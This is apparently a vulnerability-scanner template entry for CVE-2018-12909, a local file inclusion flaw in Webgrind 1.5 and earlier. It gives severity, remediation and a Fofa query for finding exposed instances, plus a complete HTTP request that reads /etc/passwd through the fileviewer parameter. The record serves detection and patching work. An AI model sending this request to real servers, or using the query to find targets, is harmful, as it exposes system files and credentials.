| Title | Webgrind <= 1.5 - Local File Inclusion |
|---|---|
| Author | DhiyaneshDk |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files including sensitive configuration files, database credentials, and system files that the web server has access to. |
| Remediation | Upgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor. |
| CVSS Score | 7.5 |
| EPSS Score | 0.88176 |
| CVE ID | CVE-2018-12909 |
| CWE ID | CWE-22 |
| Fofa Query | app="Webgrind"app="webgrind" |
| Tags | cve cve2018 lfi webgrind webgrind_project vuln |
Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI
GET /index.php?op=fileviewer&file=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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